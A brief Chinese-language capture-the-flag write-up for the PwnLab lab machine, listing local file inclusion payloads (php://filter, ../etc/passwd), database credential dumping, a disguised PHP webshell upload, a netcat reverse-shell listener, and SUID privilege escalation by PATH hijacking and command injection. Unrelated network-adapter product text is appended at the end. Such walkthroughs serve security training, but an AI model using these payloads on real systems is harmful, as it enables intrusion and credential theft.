writeup-pwnlab

tip：文件包含信息收集 ip add namp c段开放端口 80 111 3306 浏览器无内容 dirb扫描 nitko -host http://192.168.1.19 发现/config.php 考虑url构造为http://192.168.1.19/?page=upload 可能存在文件包含漏洞知识点文件包含漏洞特征：?page=a.php?home=b.html?file=content检测方法：?file=../../../../etc/passwd?page=file:///etc/passwd?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt php://filter参数详解：该协议的参数会在该协议路径上进行传递，多个参数都可以在一个路径上传递。具体参考如下： resource= 必须项。它指定了你要筛选过滤的数据流。 **可用的过滤器列表：** convert.base64 convert.base64-encode & convert.base64-decode分别等同于base64_encode()和base64_decode()，base64编码解码下面我们来实验用php://filter来读写文件。测试代码：读取文件 test.php?file1=php://filter/resource=/etc/passwd test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php // 专用于读取php文件 curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config ｜base64 -d 获取到一串码 base64 解码获得 数据库的用户密码信息登录查表 mysql -h 192.168.1.19 -u root -p show databases; use Users; show tables; use users; select * from Users.users; 获取网页用户密码信息 mysql的information_schema也是很重要的表 getshell php木马改名gif 上传 使用burp suite 的repeater 文件头加 GIF89A 无法运行远程木马查看index的源码curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config ｜base64 -d 发现cookie 可以提供lang 修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif 监听反弹shell nc -lvp 1234 send repeater后的cookie网页获得shell su用户提示需要终端，利用python 启用远程终端 python -c 'import pty;pty.spawn("/bin/bash")' 提权找suid文件find / -perm -u=s 2>/dev/null 发现msgmike执行发现调用cat 修改$PATH export PATH=.:$PATH echo "/bin/bash" >cat chmod +x cat 重新执行msgmike来调用cat中的bash命令实现提取到mike ls -l * 发现mike 有msg2root也有suid权限 file 执行msg2root发现 执行什么就显示什么类似echo 尝试拼接hello;/bin/sh 获取root的bash 在root的根目录中找到flag.txt 总结靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0 RTL8156 / RTL8156B Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0 RTL8153 / RTL8153B